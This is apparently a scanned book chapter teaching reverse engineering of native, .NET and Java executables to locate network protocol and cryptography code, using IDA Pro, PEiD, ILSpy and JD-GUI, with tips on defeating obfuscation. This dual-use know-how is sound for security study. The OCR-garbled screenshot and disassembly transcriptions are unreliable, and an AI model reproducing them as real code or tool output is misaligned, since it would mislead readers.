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O\DAViewA | 53 HexViews | 3 Exports | B Imports | N Names | ) Functions | - Stings | i Stuctwes | En Enums|
i IDA View-A = F= &S | N Names window [= [& ][]
) (BNl Name S
F start
F wi5aStatup
public start F socket
start proc near F hians
F inet_addr
var_38= dword ptr -38h F bind v
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100.00% (-200-2)  (203.2) 00000970  00401570: start
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Executing function 'main’ 9
Compiling file 'C: \Progrw Files (x86)\IDA Free\idc\onload.idec"
Executing function 'OnLoad’
IDA is analysing the input 1'
You may start to explore the 'mput file right now.
can not set debug privilege!
Propagating type information.
Function argument mfurmatwn 15 propag ated
_

Al: idle Down Disk: 64GB

Figure 6-6: The main IDA Pro interface
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Figure 6-7: The back button for the IDA Pro disassembly window

Of the five window types listed, the last four are basically just lists of
information. The IDA View is where you’ll spend most of your time when
you’re reverse engineering, because it shows you the disassembled code. You
can easily navigate around the disassembly in IDA View. For example,
double-click anything that looks like a function name or data reference to
navigate automatically to the location of the reference. This technique is
especially useful when you’re analyzing calls to other functions: for instance,
if you see cALL sub_4e0100, just double-click the sub_see100 portion to be taken
directly to the function. You can go to the original caller by pressing the ESC
key or the back button, highlighted in Figure 6-7.

In fact, you can navigate back and forth in the disassembly window as you
would in a web browser. When you find a reference string in the text, move
the text cursor to the reference and press X or right-click and choose Jump
to xref to operand to bring up a cross-reference dialog that shows a list of
all locations in the executable referencing that function or data value.
Double-click an entry to navigate directly to the reference in the disassembly
window.

By default, IDA will generate automatic names for referenced values. For
example, functions arve named sub_xxxx, where xxxx is their memory address; the
name loc_xxxx indicates branch locations in the current function or locations that
are not contained in a function. These names may not help you understand what
the disassembly is doing, but you can rename these references to make them
more meaningful. To rename references, move the cursor to the reference text




and press N or right-click and select Rename from the menu. The changes to
the name should propagate everywhere it is referenced.

Analyzing Stack Variables and Arguments

Another feature in IDA’s disassembly window is its analysis of stack variables
and arguments. When I discussed calling conventions in “Application Binary
Interface” on page 123, I indicated that parameters are generally passed on
the stack, but that the stack also stores temporary local variables, which are
used by functions to store important values that can’t fit into the available
registers. IDA Pro will analyze the function and determine how many
arguments it takes and which local variables it uses. Figure 6-8 shows these
variables at the start of a disassembled function as well as a few instructions
that use these variables.

_main proc near ; CODE XREF: sub_481188+28ETp
var_180 = dword ptr -16h :
v - dword ntr —ochl Local variables
arg @ = duword ptr &
At 2 eard Bt BCk Passed arguments
push ebp
mov ebp, esp
and esp, OFFFFFFF@h
sub esp, 16h
call sub 40630
mow eax, [ebp+arqg 4]
mow [esp+1Bh+var C], eax
p eax, [ebp+arg 0] Uses of stack
mow [esp+18Bh+uvar 18], eax

call sub_Lu16D1
test al, al

Figure 6-8: A disassembled function showing local variables and arguments

You can rename these local variables and arguments and look up all their
cross-references, but cross-references for local variables and arguments will
stay within the same function.

Identifying Key Functionality

Next, you need to determine where the executable you’re disassembling
handles the network protocol. The most straightforward way to do this is to



inspect all parts of the executable in turn and determine what they do. But if
you're disassembling a large commercial product, this method is very
inefficient. Instead, you’ll need a way to quickly identify areas of
functionality for further analysis. In this section, I'll discuss four typical
approaches for doing so, including extracting symbolic information, looking
up which libraries are imported into the executable, analyzing strings, and
identifying automated code.

Extracting Symbolic Information

Compiling source code into a native executable is a lossy process, especially
when the code includes symbolic information, such as the names of variables
and functions or the form of in-memory structures. Because this information
is rarely needed for a native executable to run correctly, the compilation
process may just discard it. But dropping this information makes it very
difficult to debug problems in the built executable.

All compilers support the ability to convert symbolic information and
generate debug symbols with information about the original source code line
associated with an instruction in memory as well as type information for
functions and variables. However, developers rarely leave in debug symbols
intentionally, choosing instead to remove them before a public release to
prevent people from discovering their proprietary secrets (or bad code). Still,
sometimes developers slip up, and you can take advantage of those slipups to
aid reverse engineering.

IDA Pro loads debug symbols automatically whenever possible, but
sometimes you’ll need to hunt down the symbols on your own. Let’s look at
the debug symbols used by Windows, macOS, and Linux, as well as where
the symbolic information is stored and how to get IDA to load it correctly.

When a Windows executable is built using common compilers (such as
Microsoft Visual C++), the debug symbol information isn’t stored inside the
executable; instead, it’s stored in a section of the executable that provides the
location of a program database (PDB) file. In fact, all the debug information is
stored in this PDB file. The separation of the debug symbols from the
executable makes it easy to distribute the executable without debug
information while making that information readily available for debugging.

PDB files are rarely distributed with executables, at least in closed-source
software. But one very important exception is Microsoft Windows. To aid



debugging efforts, Microsoft releases public symbols for most executables
installed as part of Windows, including the kernel. Although these PDB files
don’t contain all the debug information from the compilation process
(Microsoft strips out information they don’t want to make public, such as
detailed type information), the files still contain most of the function names,
which is often what you want. The upshot is that when reverse engineering
Windows executables, IDA Pro should automatically look up the symbol file
on Microsoft’s public symbol server and process it. If you happen to have the
symbol file (because it came with the executable), load it by placing it next to
the executable in a directory and then have IDA Pro disassemble the

executable. You can also load PDB files after initial disassembly by selecting
File » Load File » PDB File.

Debug symbols are most significant in reverse engineering in IDA Pro
when naming functions in the disassembly and Functions windows. If the
symbols also contain type information, you should see annotations on the
function calls that indicate the types of parameters, as shown in Figure 6-9.

- IDA View-A =
|- text: 08049749 ~
Stext:O8049749  [IIININIIIIIIIE SUBROUTINE I ELI TR T R
LtextBBONOTLD
text:08049749 ; Attributes: bp-based frame
.text:DBONOTLY
text: 08049740 public main
text 08049749 main proc near : DATA XREF: start+171
Stext:0BONITHY
Stext:D8OLITLY var 18
Stext OBBN9TLAD var C
Ltext:OBONPTAY arg_B
.text:08O4O749 arg &

dword ptr -18h
dword ptr =8Ch
dword ptr 8

dword ptr @Ch

Stext: 08049749
Y oLtext 08049749 push ebp
Y Ltext 080497 4A mnow ebp, esp
T .text:0BOLOTAC and esp, OFFFFFFFOh
* .text:0BOLOTHF sub esp, 18h
* oLtext:0BON9TS2 mou eax, [ebp+arg_4]
* .text:0BOLOTSS nou [esp+1Bh+var_C], eax
* .text:08049759 mou eax, [ebp+arg_0]
* Ltext:0804975C mow [esp+1Bh+var_18], eax
*oLtext :DBONQTSF call chatserver::parse_opts(int,char ==)
Y oLtext:OB04OTOY test al, al
T .text:0B049T766 jz short loc_804976F
* oLtext:0BO4PTOHB call chatserver : :run_server{(void)
* Ltext:08O4276D jnp short loc_8684977C
.text:0BONOTEF ;
Stext:0BOUITOF
Jtext:D8O4976F loc_8S04976F: ; CODE XREF: main+1DTj
* .text:0BONOTEF mou eax, [ebp+arg_h]
* .text:08049772 mnou eax, [eax]
*oLtext:0BO49TTY mow [esp+1Bh+var_18], eax
* Ltext 08040777 call chatserver::print_help{char consts)
StextiOBANO7IC
text:0804977C loc_804977C: ; CODE XREF: main+24Tj
* Ltext:0BONOTTC mow eax, 0
Y Ltext:OBOLOTEA leave
T o text: 08049782 retn
Ltext:p8O49782 main endp =
< >

00001749 0804974%: main

Figure 6-9: Disassembly with debug symbols



Even without a PDB file, you might be able to access some symbolic
information from the executable. Dynamic libraries, for example, must
export some functions for another executable to use: that export will provide
some basic symbolic information, including the names of the external
functions. From that information, you should be able to drill down to find
what you’re looking for in the Exports window. Figure 6-10 shows what this
information would look like for the ws2_32.d// Windows network library.

B Exports (=[O s
Mame Address Ordinal ~
§3 W ahDisableMonlFSHandlieSupport 4F7E12DD 161

?—EI W ahEnableMonlFSHandleSupport 4F7B1371 162

:I:ﬁ’I WahErumerateHandleContexts 4F7EEERC 163

i—ﬁ WahlnzetHandleContext 4F7a3029 164

§;E| WahMotifudliProcesses 4F7347E1 165

i | WahOpenspcHelper AF78R093 166

::‘E'I W ahOpenCurrent T hread 4F783163 167

?JB WahOpenHandleHelper 4F7E14EE 168

;f:ﬂ‘l W ahOpenMotificationHandleHelper 4F793261 169

%ﬁ WahDueuel)serdpe 4F7B0334 170

éﬁn WahReferenceContestByH andle 4F782C09 171

?EE’I ' ahF emoveH andleContest 4F7831F3 172

ﬁh " akid aitF orM otification 4F793330 173

B wakiw/riteLSPE vent 4F7938D9 174

Y freeaddinfo 4F784DEE 175

§£I getaddnnfo 4F7S0EAS 176

%EI gethameinfo 4F7E72B4 177

3 inet_ntop 4F7641B9 178

3 inet_pton 4F7ad4222 179

HWEP 4F798977 500

BgDEnyPont 781D | v
Line 181 of 181

Figure 6-10: Exports from the ws2_32.dll library

Debug symbols work similarly on macOS, except debugging information
is contained in a debugging symbols package (dSYM), which is created alongside
the executable rather than in a single PDB file. The dSYM package is a
separate macOS package directory and is rarely distributed with commercial
applications. However, the Mach-O executable format can store basic
symbolic information, such as function and data variable names, in the
executable. A developer can run a tool called Strip, which will remove all this
symbolic information from a Mach-O binary. If they do not run Strip, then
the Mach-O binary may still contain useful symbolic information for reverse
engineering.

On Linux, ELF executable files package all debug and other symbolic



information into a single executable file by placing debugging information
into its own section in the executable. As with macOS, the only way to
remove this information is with the Strip tool; if the developer fails to do so
before release, you might be in luck. (Of course, you’ll have access to the
source code for most programs running on Linux.)

Viewing Imported Libraries

On a general purpose operating system, calls to network APIs aren’t likely to
be built directly into the executable. Instead, functions will be dynamically
linked at runtime. To determine what an executable imports dynamically,
view the Imports window in IDA Pro, as shown in Figure 6-11.

In the figure, various network APIs are imported from the ws2_32.d/]
library, which is the BSD sockets implementation for Windows. When you
double-click an entry, you should see the import in a disassembly window.
From there, you can find references to that function by using IDA Pro to
show the cross-references to that address.

=

B Imports ][ E S
Address Ordinal ~ Mame v Library e
B 0040E2... WSAStartup ws2_ 32
(G DD40E2FOD __WSAFDIsSet ws2_32
B 0040E 2F4 accept ws2_32
Bre 0040E 2F 8 bind ws2_32
BEs 0040E2... closesocket ws2 32
B D040E 300 htons ws2_32
B D040E 304 inet_addr 52 32
BEs 0040E 308 listen ws2_32
s DO40E3... ntahl ws2_32
B 0040E 310 ey ws2_32
B 0040E 314 select ws2_32
(s DD40E318 send ws2_32
B O040E3... sacket ws2_32
L
Line 70 of 91

Figure 6-11: The Imports window

In addition to network
cryptographic libraries have been imported. Following these references can

functions, you might also see that various



lead you to where encryption is used in the executable. By using this
imported information, you may be able to trace back to the original callee to
find out how it’s been used. Common encryption libraries include OpenSSL

and the Windows Crypt32.dlJ.

Analyzing Strings

Most applications contain strings with printable text information, such as
text to display during application execution, text for logging purposes, or text
left over from the debugging process that isn’t used. The text, especially
internal debug information, might hint at what a disassembled function is
doing. Depending on how the developer added debug information, you
might find the function name, the original C source code file, or even the
line number in the source code where the debug string was printed. (Most C
and C++ compilers support a syntax to embed these values into a string
during compilation.)

IDA Pro tries to find printable text strings as part of its analysis process.
To display these strings, open the Strings window. Click a string of interest,
and you’ll see its definition. Then you can attempt to find references to the
string that should allow you to trace back to the functionality associated with
1t.

String analysis is also useful for determining which libraries an executable
was statically linked with. For example, the ZLib compression library is
commonly statically linked, and the linked executable should always contain
the following string (the version number might differ):

inflate 1.2.8 Copyright 1995-2013 Mark Adler

By quickly discovering which libraries are included in an executable, you
might be able to successfully guess the structure of the protocol.

Identifying Automated Code

Certain types of functionality lend themselves to automated identification.
For example, encryption algorithms typically have several muagic constants
(numbers defined by the algorithm that are chosen for particular
mathematical properties) as part of the algorithm. If you find these magic
constants in the executable, you know a particular encryption algorithm is at



least compiled into the executable (though it isn’t necessarily used). For
example, Listing 6-3 shows the initialization of the MD5 hashing algorithm,
which uses magic constant values.

void md5_init( md5_context *ctx )

{
ctx->state[0] = Ox67452301;
ctx->state[1] = OXEFCDABS89;
ctx->state[2] = Ox98BADCFE;
ctx->state[3] = 0x10325476;
}

Listing 6-3: MD5 initialization showing magic constants

Armed with knowledge of the MD5 algorithm, you can search for this
initialization code in IDA Pro by selecting a disassembly window and

choosing Search » Immediate value. Complete the dialog as shown in
Figure 6-12 and click OK.

Search Immediate

This command searches for the specified
value in the instruction operands
and data items.

Yalue to search | 067452301 v

[ | Ay untyped value

(V] Find all occunences

(]S Cancel Help

Figure 6-12: The IDA Pro search box for MD5 constant

If MD5 is present, your search should display a list of places where that
unique value is found. Then you can switch to the disassembly window to try



to determine what code uses that value. You can also use this technique with
algorithms, such as the AES encryption algorithm, which uses special s-box
structures that contain similar magic constants.

However, locating algorithms using IDA Pro’s search box can be time
consuming and error prone. For example, the search in Figure 6-12 will pick
up MDS5 as well as SHA-1, which uses the same four magic constants (and
adds a fifth). Fortunately, there are tools that can do these searches for you.
One example, PEiD (available from
http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-
updated.shtml), determines whether a Windows PE file is packed with a
known packing tool, such as UPX. It includes a few plug-ins, one of which
will detect potential encryption algorithms and indicate where in the
executable they are referenced.

To use PEID to detect cryptographic algorithms, start PEiD and click the
top-right button ... to choose a PE executable to analyze. Then run the
plug-in by clicking the button on the bottom right and selecting Plugins »
Krypto Analyzer. If the executable contains any cryptographic algorithms,
the plug-in should identify them and display a dialog like the one in Figure

6-13. You can then enter the referenced address value @ into IDA Pro to
analyze the results.

A kanaLvee2 - o HEM

File C:\sourcecode\UberNetworkTool\Release\Uber

CEMDS :: 00000444 :: 00401084 o

About | Export... | Close

MDS5 transform ("compress") constants


http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml

Figure 6-13: The result of PEID cryptographic algorithm analysis

Dynamic Reverse Engineering

Dynamic reverse engineering is about inspecting the operation of a running
executable. This method of reversing is especially useful when analyzing
complex functionality, such as custom cryptography or compression
routines. The reason is that instead of staring at the disassembly of complex
functionality, you can step through it one instruction at a time. Dynamic
reverse engineering also lets you test your understanding of the code by
allowing you to inject test inputs.

The most common way to perform dynamic reverse engineering is to use
a debugger to halt a running application at specific points and inspect data
values. Although several debugging programs are available to choose from,
we’ll use IDA Pro, which contains a basic debugger for Windows
applications and synchronizes between the static and debugger view. For
example, if you rename a function in the debugger, that change will be
reflected in the static disassembly.

Although I use IDA Pro on Windows in the following discussion, the basic
techniques are applicable to other operating systems and debuggers.

To run the currently disassembled executable in IDA Pro’s debugger,
press F9. If the executable needs command line arguments, add them by
selecting Debugger » Process Options and filling in the Parameters text
box in the displayed dialog. To stop debugging a running process, press
CTRL-F2.

Setting Breakpoints

The simplest way to use a debugger’s features is to set breakpoints at places of
interest in the disassembly, and then inspect the state of the running
program at these breakpoints. To set a breakpoint, find an area of interest
and press F2. The line of disassembly should turn red, indicating that the



breakpoint has been set correctly. Now, whenever the program tries to
execute the instruction at that breakpoint, the debugger should stop and give
you access to the current state of the program.

Debugger Windows

By default, the IDA Pro debugger shows three important windows when the
debugger hits a breakpoint.

The EIP Window

The first window displays a disassembly view based on the instruction in the
EIP register that shows the instruction currently being executed (see Figure
6-14). This window works much like the disassembly window does while
doing static reverse engineering. You can quickly navigate from this window
to other functions and rename references (which are reflected in your static
disassembly). When you hover the mouse over a register, you should see a
quick preview of the value, which is very useful if the register points to a
memory address.

= IDA View-EIP =i 1=

* .text:00481CD6 mov edx, [ebp+var 34] A
* .text:00401CD9? mov [esp+4F Bh+var A4EB], edx
* .text:00481CDD lea edx, [ebp+var_AuC4]
* .text:00481CE3 mov [esp+4F Bh+var 4EC], edx
* .text:00401CE7 movu [esp+4F Bh+var 4FB0], eax

A _text:08481CEA call send
* .text:80481CEF sub esp, 18h
' .text:80481CF2 jmp short loc 481D1E

text:004081CFL ;
.text:00401CFL
.text:00401CFL loc_ A4O1CFA4:

© .text:00481CF4 cmp [ebp+var_34], @
* .text:080481CF8 jg short loc 481D1E
< >

O0DD10EA  DO401CEA: sub_4017FF+4EB

Figure 6-14: The debugger EIP window

The ESP Window



The debugger also shows an ESP window that reflects the current location
of the ESP register, which points to the base of the current thread’s stack.
Here is where you can identify the parameters being passed to function calls
or the value of local variables. For example, Figure 6-15 shows the stack
values just before calling the send function. I've highlighted the four
parameters. As with the EIP window, you can double-click references to
navigate to that location.

= IDA View-ESP = =]
* 0028F9ED dd 7Fh ; 1§ ~
* 0028F9EL4 dd 28FB98h ; Stack[00BAOF1C]:var_340
0028F9E8 ; [BEGIN OF STACK FRAME sub_4817FF. PRE

BO28F9EE var_A4F0 dd offset unk_28FEDS
BO28FPEC var_4EC dd 481CCChH
B028F9F @ var_4E8 dd|3Ch

D028F9F 4 var_4EY4 dd joffset var_u4Ch
BO28F2F8 var_L4E@ dd|6Ch

0028F9FC var_uDC dd |B

L - - - L - * - * L

B828FABA dd a
Ae28FABL dd G
0028FRO8 dd 7FFDDBBBN
AAZ28FABC dd i
< 3

UNKNOWN 0028FIF0: Stack[00D00F1Cl:var_4E8

Figure 6-15: The debugger ESP window

The State of the General Purpose Registers

The General registers default window shows the current state of the general
purpose registers. Recall that registers are used to store the current values of
various program states, such as loop counters and memory addresses. For
memory addresses, this window provides a convenient way to navigate to a
memory view window: click the arrow next to each address to navigate from
the last active memory window to the memory address corresponding to that
register value.

To create a new memory window, right-click the array and select Jump
in new window. You'll see the condition flags from the EFLAGS register
on the right side of the window, as shown in Figure 6-16.



L General registers — 1=

EAX 0000003C |, | cF @
EBX 0000007F || FF @
ECX O028FE34 Ly [Stack[ 00006F1C] :var_A4  |AF @
EDx B028FA1Y4 L,[s;t-.n:lq 0O0OOF1C] :var_uCk |2F|0
ESI BB28FB98 L, |Stack[ AOBAOF1C] -var_348 |[SF @

EDI 8028FCIC L [Stack[ 06006F1C]:var_23C |TF O
EEP OD2BFEDS |..|XI ack[ 0000OF1C] :0ff 28FE |IF 1
ESPp BO2BF9FA I.,,[?H ack[ DOOBOF1C] :var_4ES DF @
EIP 8B4B1CEA L, |sub_40617FF+4EB OF @
EFL 00000202 W Navigation Arows Flags

Figure 6-16: The General registers window

Where to Set Breakpoints?

Where are the best places to set breakpoints when you’re investigating a
network protocol? A good first step is to set breakpoints on calls to the send
and recv functions, which send and receive data from the network stack.
Cryptographic functions are also a good target: you can set breakpoints on
functions that set the encryption key or the encryption and decryption
functions. Because the debugger synchronizes with the static disassembler in
IDA Pro, you can also set breakpoints on code areas that appear to be
building network protocol data. By stepping through instructions with
breakpoints, you can better understand how the underlying algorithms work.

Reverse Engineering Managed Languages

Not all applications are distributed as native executables. For example,
applications written in managed languages like NE'T and Java compile to an
intermediate machine language, which is commonly designed to be CPU
and operating system agnostic. When the application is executed, a virtual
machine or runtime executes the code. In NET this intermediate machine
language is called common intermediate language (CIL); in Java it’s called Fava
byte code.

These intermediate languages contain substantial amounts of metadata,



such as the names of classes and all internal- and external-facing method
names. Also, unlike for native-compiled code, the output of managed
languages is fairly predictable, which makes them ideal for decompiling.

In the following sections, I'll examine how .NET and Java applications
are packaged. T'll also demonstrate a few tools you can use to reverse
engineer NET and Java applications efficiently.

.NET Applications

The .NET runtime environment is called the common language runtime
(CLR). A NET application relies on the CLR as well as a large library of
basic functionality called the base class library (BCL).

Although .NET is primarily a Microsoft Windows platform (it is
developed by Microsoft after all), a number of other, more portable versions
are available. The best known is the Mono Project, which runs on Unix-like

systems and covers a wide range of CPU architectures, including SPARC
and MIPS.

If you look at the files distributed with a .NE'T application, you'll see files
with .exe and .dd/ extensions, and you’d be forgiven for assuming they’re just
native executables. But if you load these files into an x86 disassembler, you’ll
be greeted with a message similar to the one shown in Figure 6-17.

E IDA View-A o[- B |

BN

assume es:nothing, ds:_text

public start
start proc near

jmp _CorExeMain
start endp
100.00% (-61,-38) (92,10) D00CO3AE  OOJ4C21AE: «

Figure 6-17: A .NET executable in an x86 disassembler



As it turns out, NET only uses the .exe and .d// file formats as convenient
containers for the CIL code. In the NET runtime, these containers are
referred to as assemblies.

Assemblies contain one or more classes, enumerations, and/or structures.
Each type is referred to by a name, typically consisting of a namespace and a
short name. The namespace reduces the likelihood of conflicting names but
can also be useful for categorization. For example, any types under the
namespace System.Net deal with network functionality.

Using ILSpy

You’ll rarely, if ever, need to interact with raw CIL because tools like
Reflector (bttps://www.red-gate.com/products/dotnet-development/reflector/) and
ILSpy (bttp://ilspy.net/) can decompile CIL data into C# or Visual Basic
source and display the original CIL. Let’s look at how to use ILSpy, a free
open source tool that you can use to find an application’s network
functionality. Figure 6-18 shows ILSpy’s main interface.

The interface is split into two windows. The left window @ is a tree-
based listing of all assemblies that ILSpy has loaded. You can expand the tree

view to see the namespaces and the types an assembly contains @. The right

window shows disassembled source code ®. The assembly you select in the
left window is expanded on the right.

To work with a NET application, load it into ILSpy by pressing CTRL+O
and selecting the application in the dialog. If you open the application’s main
executable file, ILSpy should automatically load any assembly referenced in
the executable as necessary.

With the application open, you can search for the network functionality.
One way to do so is to search for types and members whose names sound
like network functions. To search all loaded assemblies, press F3. A new

window should appear on the right side of your screen, as shown in Figure
6-19.


https://www.red-gate.com/products/dotnet-development/reflector/
http://ilspy.net/

- ILSpy - o IEN|

File View Help

Q0 S E -|P A
# -3 System.Xml o ~ // CANAPE.Program 9 ~
# -3 System.Xaml [STAThread]
® -3 WindowsBase Hprivate static void Main(string[] args)
# -3 PresentationCore { P itiali .
# +3 PresentationFramework FONCAS Tulrinlliel mgunnsl)s
Tesem Program.InitializeLibraries();
# 3 ICSharpCode.TreeView string fileName = null;
#-+3 Mono.Cecil if (GeneralUtils.GetConfigDirectory(true) == null)
# 3 ICSharpCode.AvalonEdit {
# -3 ICSharpCode.Decompiler MessageBox.Show(string.Format(Resources.Program_ErrorCreatingUserD:
® -3 ILSpy Environment.Exit(1);
© @ CANAPEGui )N
o 'j References while (num < args.Length 8& args[num].StartsWith("-"))
# [ Resources {
@} - if (args[num].StartsWith("-ext:"))
=-{} CANAPE
=% Program 9 CANAPEExtensionManager.LoadExtension(args[num].Substring("-ext
# o Base Types }
29 Application_ThreadException(objec L _rad]
&9 CurrentDomain_UnhandledExceptic -
= f < . L h
&% HandleException(Exception) : void T e teneh)
&9 initializeLanguage() : void fileName = args[num];
49 InitializeLibraries() : void }
bl Main(string[]) : void if (!Settings.Default.RunOnce)
49 RegisterEditor(Type, Type) : void
29 SaveSettings() : void bool checkForUpdates = MessageBox.Show(Resources.Program_CheckFory;
@} _FANADE Eubmnrina \‘ Settings.Default.RunOnce = true; v
4 » < »

Figure 6-18: The ILSpy main interface
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® -3 CAMNAPE.Gui _ﬁ: PcapReader.TcpComparer ‘ﬁ CANAPE.Utils.PcapReader
# +@ System.Drawing %4 TepClientDataAdapter {} CANAPE.DataAdapters
-3 CANAPE #2 TeplistenerDataAdapter {} CANAPE.Net.DataAdapters
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@ {} CANAPE.Net
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@ {} CANAPE.Net.Layers
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® 44 AggregateNetworkListener
@ 9% ClientConnectedEventArgs P
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® ‘}3 ManualNetworkListener priv_ate IPEndPoint BuildEndpoint(bool anyBind, bool ipv6, int port)%. ]

=% TcpNetworkListener < (L ssumaryy :
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private bool _isStarted;

private TcpListener _listener;
private Logger _logger;

private List<TcpClient> _pending;
private bool _autoBind;

rivate bool nodelay;

V// <summary>

ublic event EventHandler<ClientConnectedEventArgs> ClientConnected;
E.-".-" <su-'r=_'rary>€

W LR

Figure 6-19: The ILSpy Search window

Enter a search term at @ to filter out all loaded types and display them in



the window below. You can also search for members or constants by

selecting them from the drop-down list at @. For example, to search for
literal strings, select Constant. When you’ve found an entry you want to

inspect, such as TcpNetworkListener ®, double-click it and ILSpy should
automatically decompile the type or method.

Rather than directly searching for specific types and members, you can
also search an application for areas that use built-in network or cryptography
libraries. The base class library contains a large set of low-level socket APIs
and libraries for higher-level protocols, such as HI'TP and FTP. If you
right-click a type or member in the left window and select Analyze, a new
window should appear, as shown at the right side of Figure 6-20.

ILSpy - oIEN|

File View Help

0 olee |8 c -1
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¥ .ctor(string, int) : void 2
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¥ BeginConnect(string, int, As: Analyzer i
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+
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Figure 6-20: ILSpy analyzing a type

This new window is a tree, which when expanded, shows the types of
analyses that can be performed on the item you selected in the left window.
Your options will depend on what you selected to analyze. For example,

analyzing a type @ shows three options, although you’ll typically only need
to use the following two forms of analysis:

Instantiated By Shows which methods create new instances of this type



Exposed By Shows which methods or properties use this type in their
declaration or parameters

If you analyze a member, a method, or a property, you’ll get two options

(28

Uses Shows what other members or types the selected member uses

Used By Shows what other members use the selected member (say, by
calling the method)

You can expand all entries ©.

And that’s pretty much all there is to statically analyzing a NET
application. Find some code of interest, inspect the decompiled code, and
then start analyzing the network protocol.

Most of .NET’s core functionality is in the base class libvary distributed with the
NET runtime environment and available to all NET applications. The
assemblies in the BCL provide several basic network and cryptographic libraries,
which applications are likely to need if they implement a network protocol. Look
f07’ areas that 7‘6f€7’€7’l€€ rypes n the System. Net and System. Security.Cryptography
namespaces. These are mostly implemented in the MSCORLIB and System
assemblies. If you can trace back from calls to these important APIs, you’ll
discover where the application handles the network protocol.

Java Applications

Java applications differ from .NET applications in that the Java compiler
doesn’t merge all types into a single file; instead, it compiles each source
code file into a single Class file with a .class extension. Because separate Class
files in filesystem directories aren’t very convenient to transfer between
systems, Java applications are often packaged into a Fava archive, or AR. A
JAR file is just a ZIP file with a few additional files to support the Java
runtime. Figure 6-21 shows a JAR file opened in a ZIP decompression
program.



C:\sourcecode\NetworkClient\dist\NetworkClientjar\com\company\ = C “
File Edit View Favorites Tools Help

=]
P = <7 B = X 1
Add Extract Test Copy Move Delete Info
J & C\sourcecode\NetworkClient\dist\NetworkClient.jar\com\company\ v
Name Size Packed Size Modified Created Ace
| NetworkClient.class | 209 2096 2014-03-08 16:10
| |ProtocolPacket.class 573 573 2014-03-08 16:10
|| ProtocolParser.class 812 812 2014-03-08 16:10
L4 >
1 object(s) selected 2096 2096 2014-03-08 16:10

Figure 6-21: An example JAR file opened with a ZIP application

To decompile Java programs, I recommend wusing JD-GUI
(http://jd.benow.ca/), which works in essentially the same as ILSpy when
decompiling .NET applications. I won’t cover using JD-GUI in depth but
will just highlight a few important areas of the user interface in Figure 6-22
to get you up to speed.


http://jd.benow.ca/
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Figure 6-22: JD-GUI with an open JAR File

Figure 6-22 shows the JD-GUI user interface when you open the JAR file

jee.jar @, which is installed by default when you install Java and can usually
be found in FAVAHOME/lib. You can open individual class files or multiple
JAR files at one time depending on the structure of the application you’re
reverse engineering. When you open a JAR file, JD-GUI will parse the
metadata as well as the list of classes, which it will present in a tree structure.
In Figure 6-22 we can see two important piece of information JD-GUI has

extracted. First, a package named javax.crypto @, which defines the classes for
various Java cryptographic operations. Underneath the package name is list

of classes defined in that package, such as cryptoAlipermissionCollection.class ©.
If you click the class name in the left window, a decompiled version of the

class will be shown on the right @. You can scroll through the decompiled

code, or click on the fields and methods exposed by the class ® to jump to
them in the decompiled code window.

The second important thing to note is that any identifier underlined in
the decompiled code can be clicked, and the tool will navigate to the

definition. If you clicked the underlined all_atlowed identifier @, the user



interface would navigate to the definition of the all_allowed field in the
current decompiled class.

Dealing with Obfuscation

All the metadata included with a typical NET or Java application makes it
easier for a reverse engineer to work out what an application is doing.
However, commercial developers, who employ special “secret sauce”
network protocols, tend to not like the fact that these applications are much
easier to reverse engineer. The ease with which these languages are
decompiled also makes it relatively straightforward to discover horrible
security holes in custom network protocols. Some developers might not like
you knowing this, so they use obscurity as a security solution.

You'll likely encounter applications that are intentionally obfuscated
using tools such as ProGuard for Java or Dotfuscator for .NET. These tools
apply various modifications to the compiled application that are designed to
frustrate a reverse engineer. The modification might be as simple as
changing all the type and method names to meaningless values, or it might
be more elaborate, such as employing runtime decryption of strings and
code. Whatever the method, obfuscation will make decompiling the code
more difficult. For example, Figure 6-23 shows an original Java class next to

its obfuscated version, which was obtained after running it through
ProGuard.



package COm.COmpany; package COM.COmpany;

import java.io.DatalnputStream; import java.io.DatalnputStream;
public class ProtocolParser public final class c
{ {
private final DataInput3tream _stm; private final Datalnput3tream a;
public ProtocolParser(DatalnputStream atm) public c(DatalnputStream paramDatalnputStream)

throws IOException {
{ thiz.a = paramDatalnput3tream;
this._stm = stm; 1
}
public final b a()
public ProtocolPacket readPacket() {

throws IOException int i = this.a.readlInt();
{ int 3;
int cmd = this._ stm.readInt(); byte[] arrayOfByte = new byte[j = this.a.readInt()];
int len = this._stm.readInt():; this.a.readFully(arcayOfByte);
return new b{i, arrayOfByte):
byte[] data = new byte[len]: 1

}

this._stm.readFully(data);

return new ProtocolPacket(cmd, data):

: Original Obfuscated

}
Figure 6-23: Original and obfuscated class file comparison

If you encounter an obfuscated application, it can be difficult to
determine what it’s doing using normal decompilers. After all, that’s the
point of the obfuscation. However, here are a few tips to use when tackling
them:

* Keep in mind that external library types and methods (such as core class
libraries) cannot be obfuscated. Calls to the socket APIs must exist in the
application if it does any networking, so search for them.

* Because .NET and Java are easy to load and execute dynamically, you can
write a simple test harness to load the obfuscated application and run the
string or code decryption routines.

* Use dynamic reverse engineering as much as possible to inspect types at
runtime to determine what they’re used for.

Reverse Engineering Resources

The following URLs provide access to excellent information resources for
reverse engineering software. These resources provide more details on
reverse engineering or other related topics, such as executable file formats.



* OpenRCE Forums: http://www.openrce.org/
* ELF File Format: htep://refspecs.linuxbase.org/elf/elf-pdf

* macOS Mach-O Format: https://web.archive.org/web/20090901205800/

http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual

* PE File Format: hitps://msdn.microsoft.com/en-
us/library/windows/desktop/ms68054 77 (v=vs.85).aspx

For more information on the tools used in this chapter, including where
to download them, turn to Appendix A.

Final Words

Reverse engineering takes time and patience, so don’t expect to learn it
overnight. It takes time to understand how the operating system and the
architecture work together, to untangle the mess that optimized C can
produce in the disassembler, and to statically analyze your decompiled code.
I hope I've given you some useful tips on reverse engineering an executable
to find its network protocol code.

The best approach when reverse engineering is to start on small
executables that you already understand. You can compare the source of
these small executables to the disassembled machine code to better
understand how the compiler translated the original programming language.

Of course, don’t forget about dynamic reverse engineering and using a
debugger whenever possible. Sometimes just running the code will be a
more efficient method than static analysis. Not only will stepping through a
program help you to better understand how the computer architecture
works, but it will also allow you to analyze a small section of code fully. If
you're lucky, you might get to analyze a managed language executable
written in .NET or Java using one of the many tools available. Of course, if
the developer has obfuscated the executable, analysis becomes more difficult,
but that’s part of the fun of reverse engineering.


http://www.openrce.org/
http://refspecs.linuxbase.org/elf/elf.pdf
https://web.archive.org/web/20090901205800/
